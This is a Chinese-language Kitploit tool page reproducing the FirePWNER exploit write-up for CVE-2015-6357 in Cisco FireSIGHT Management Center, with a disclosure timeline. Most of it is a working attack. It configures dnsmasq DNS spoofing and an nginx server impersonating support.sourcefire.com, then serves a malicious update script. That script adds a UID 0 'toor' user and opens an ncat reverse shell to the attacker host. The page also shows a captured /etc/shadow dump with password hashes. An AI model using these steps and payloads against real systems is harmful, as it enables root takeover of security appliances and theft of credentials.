Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
firepwner — CVE-2015-6357 Cisco FireSIGHT Management Center 证书验证漏洞的漏洞利用 | Kitploit
工具/GitHubGitHub/mattimustang/firepwner
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制DNS 分析
GitHubmattimustang/firepwner

firepwner

CVE-2015-6357 Cisco FireSIGHT Management Center 证书验证漏洞的漏洞利用

查看仓库
6510年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2015-6357:针对 Cisco FireSIGHT 管理中心 SSL 验证漏洞的 FirePWNER 漏洞利用程序

简介

单独来看,Cisco FireSIGHT 管理中心证书验证漏洞是一个中等严重性漏洞,CVSS 评分为 5.1。然而,该漏洞恰好说明了 SSL 证书验证为何如此重要。在本次漏洞利用中,我将演示如何利用该漏洞在 Cisco FireSIGHT 系统上获得特权远程命令执行。该漏洞利用将 SSL 验证漏洞与 Cisco FireSIGHT 系统的软件更新流程串联起来,诱骗目标系统下载恶意更新并执行它,从而获得具有 root 权限的反向 Shell。

因此,您应始终验证 SSL 证书

漏洞

Cisco FireSIGHT 管理中心设备用于管理 Cisco FirePOWER 入侵防御系统(IPS),也称为 Sourcefire IPS。FireSIGHT 负责下载更新的 IPS 签名,并将其安装到受管理的 IPS 设备上。

FireSIGHT 管理中心允许管理员手动启动 IPS 规则更新,或将更新计划为每天/每周/每月执行一次。

当 FireSIGHT 管理中心执行更新时,它会使用 curl UNIX 命令从 Sourcefire 支持 执行下载。调用 curl 命令时传递了 -k(即 --insecure)选项,该选项告诉 curl 不验证服务器提供的任何 SSL 证书。

以下是服务器下载更新时的 ps 输出:

root@kitploit:~
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root      8351  0.0  0.0  37396  2708 ?        S    02:02   0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh

FireSIGHT 更新以 makeself 生成的 shell 脚本形式提供,其中既包含 UNIX Bourne shell 命令,也包含更新中要交付的二进制数据。这些更新 shell 脚本以本地 www 用户身份直接在 FireSIGHT 服务器上执行。

能够对 FireSIGHT 服务器执行中间人攻击的攻击者,可以强制其连接到 Sourcefire 支持 网站的伪造版本,并下载一个恶意更新脚本,该脚本将在 FireSIGHT 服务器上执行攻击者想要的任何命令。

SSL 验证漏洞使这一切成为可能,导致系统无视攻击者伪造的 SSL 证书,下载恶意更新并执行它。

如果 curl 命令验证 SSL 证书,那么下载恶意脚本将失败,从而保护 FireSIGHT 服务器免受攻击者的侵害。

此漏洞利用程序演示了不验证 SSL 证书的危险性——利用该漏洞以 root 用户身份获得远程命令执行。

攻击场景

攻击场景是攻击者已能够对 FireSIGHT 服务器与 https://support.sourcefire.com 网站之间的流量执行中间人攻击。最简单的演示方式就是设置一台“被入侵”的 DNS 服务器,对于 support.sourcefire.com 域名的查询,它返回攻击者控制的 Web 服务器的 IP 地址。

在真实的攻击场景中,攻击者可以使用任意数量的中间人技术来达到同样的目的。例如:

  • DNS 缓存投毒
  • ARP 欺骗,例如 ettercap。

此漏洞利用程序已在以下 FireSIGHT 虚拟设备版本上进行了测试:

  • 5.2.0
  • 5.3.0
  • 5.4.0
  • 5.4.1.1
  • 5.4.1.2

在下面的 PoC 中,FireSIGHT 服务器被分配了 IP 地址 192.168.1.99。

攻击主机运行的是 Kali Linux 2.0,不过下面的设置应适用于任何基于 Debian Linux 的服务器。在下面的示例中,Kali 主机的 IP 地址是 192.168.1.1。Kali 主机用于运行 DNS 服务器以及伪造的 Sourcefire 支持 网站。

设置 dnsmasq

漏洞利用需要能够伪造 support.sourcefire.com 的 DNS 响应。运行一个 dnsmasq 服务器来提供此能力,并充当“被入侵”的 DNS 服务器。

安装 dnsmasq:

root@kitploit:~
root@kali# apt-get install dnsmasq

配置 dnsmasq:

root@kitploit:~
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF

将 address 行中的 IP 地址改为您用于提供更新服务的 Web 服务器地址。

启动 dnsmasq:

root@kitploit:~
root@kali# service dnsmasq start

设置 nginx

需要一个 Web 服务器,以便在 FireSIGHT 服务器请求更新时向它提供漏洞利用程序。

安装 nginx Web 服务器:

root@kitploit:~
root@kali# apt-get install nginx

创建自签名证书以伪装成 support.sourcefire.com:

root@kitploit:~
root@kali# mkdir /etc/nginx/ssl

root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
 -out /etc/nginx/ssl/nginx.crt

Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:

通过将 /etc/nginx/sites-available/default 的内容替换为以下内容来配置 nginx:

root@kitploit:~
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    listen 443 ssl;

    root /var/www/html;

    index index.html index.htm index.nginx-debian.html;

    server_name support.sourcefire.com;
    ssl_certificate /etc/nginx/ssl/nginx.crt;
    ssl_certificate_key /etc/nginx/ssl/nginx.key;

    location / {
        try_files $uri $uri/ =404;
    }

    # rewrite requests that contain the clients license key
    location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
        rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
    }

    location /auto-update {
        root /var/www/html/firepwner;
    }

}

启动 nginx:

root@kitploit:~
root@kali# service nginx start

设置漏洞利用程序

FirePWNER 漏洞利用程序需要从 Web 服务器提供两个文件。第一个文件是更新清单(manifest),它是一个 XML 文件,包含可用更新列表、它们的下载位置以及 MD5 哈希。

首先,您需要创建一些目录:

root@kitploit:~
root@kali# mkdir \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}

然后将漏洞利用文件复制到其中:

root@kitploit:~
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh

复制这些文件后,您应该能够通过浏览器访问 http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml

配置 FireSIGHT 服务器 DNS

接下来,为了演示漏洞利用,需要将 FireSIGHT 服务器配置为使用“被入侵”的 DNS 服务器。登录 FireSIGHT Web 门户,进入 System > Local > Configure > Management Interfaces,将主 DNS 服务器设置为“被入侵”DNS 服务器的 IP 地址(192.168.1.1),然后保存更改。

运行漏洞利用程序

漏洞利用程序使用 FireSIGHT 服务器上默认安装的 ncat 命令创建到 Kali 主机的反向 Shell。您需要在 Kali 主机上监听来自 FireSIGHT 服务器的反向 Shell 连接:

root@kitploit:~
root@kali# ncat -v -l 4444

然后在 FireSIGHT Web 门户中浏览到 System > Updates > Rule Updates,选择 Download new rule update from the Support Site,并点击 Import 按钮。随后,服务器将从攻击者的服务器下载 sf.xml 更新清单,发现有一个可用更新,然后下载更新并以 www 用户身份执行它。下面的更新/漏洞利用脚本利用了 www 用户能够运行多个 sudo 命令(包括 useradd)这一事实。该漏洞利用脚本创建一个密码为空的新的 toor 用户,然后使用 su 提升权限,并启动一个反向连接到攻击者服务器。

root@kitploit:~
#!/bin/sh
# add a new UID 0 "toor" user with an empty password
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
 -d /root toor
# su to toor and start the reverse shell
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0

漏洞利用脚本可以更改为运行任何其他所需命令。如果更改了脚本,则必须使用漏洞利用脚本的新 MD5 哈希来更新 sf.xml 中的 <md5sum> XML 标签值。

以下是漏洞利用成功时您在 Kali 主机上应看到的输出示例,此时 FireSIGHT 服务器上已打开远程 Shell,并运行了 id 和 cat /etc/passwd 命令:

root@kitploit:~
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::

获取漏洞利用程序

此漏洞利用程序中使用的文件可从 github 获取。

披露时间线

  • 2015-08-31 在 FireSIGHT 5.4.x 中发现漏洞,并由 Matthew Flanagan 开发了漏洞利用程序。
  • 2015-09-01 与 Cisco PSIRT([email protected])进行了初步联系。
  • 2015-09-01 PSIRT 回复并要求提供更多信息。
  • 2015-09-01 Matthew Flanagan 向 PSIRT 提供了完整的漏洞描述和漏洞利用程序。
  • 2015-09-02 PSIRT 提交了 FireSIGHT 缺陷和事件 PSIRT-190974966。
  • 2015-09-15 Matthew Flanagan 向 Cisco PSIRT 报告,版本 5.2.0 和 5.3.0 也受影响。
  • 2015-10-16 PSIRT 告知我他们为该漏洞指定的 CVSS 评分。
  • 2015-11-09 PSIRT 分配了 CVE 编号 CVE-2015-6357。
  • 2015-11-16 Cisco FireSIGHT 管理中心证书验证漏洞 发布。
  • 2015-11-16 Matthew Flanagan 的研究结果发布。
下载工具